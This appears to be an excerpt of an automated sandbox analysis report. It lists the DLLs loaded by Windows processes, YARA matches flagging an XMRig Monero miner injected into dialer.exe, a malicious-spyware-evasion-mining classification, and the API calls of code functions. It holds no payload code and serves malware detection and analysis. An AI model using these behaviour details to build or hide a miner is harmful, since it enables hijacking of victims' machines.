Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll

Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: dialer.exe PID: 6444, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.spyw.evad.mine.winZIP@108/24@1/6

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,FindResourceA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

41_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

41_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

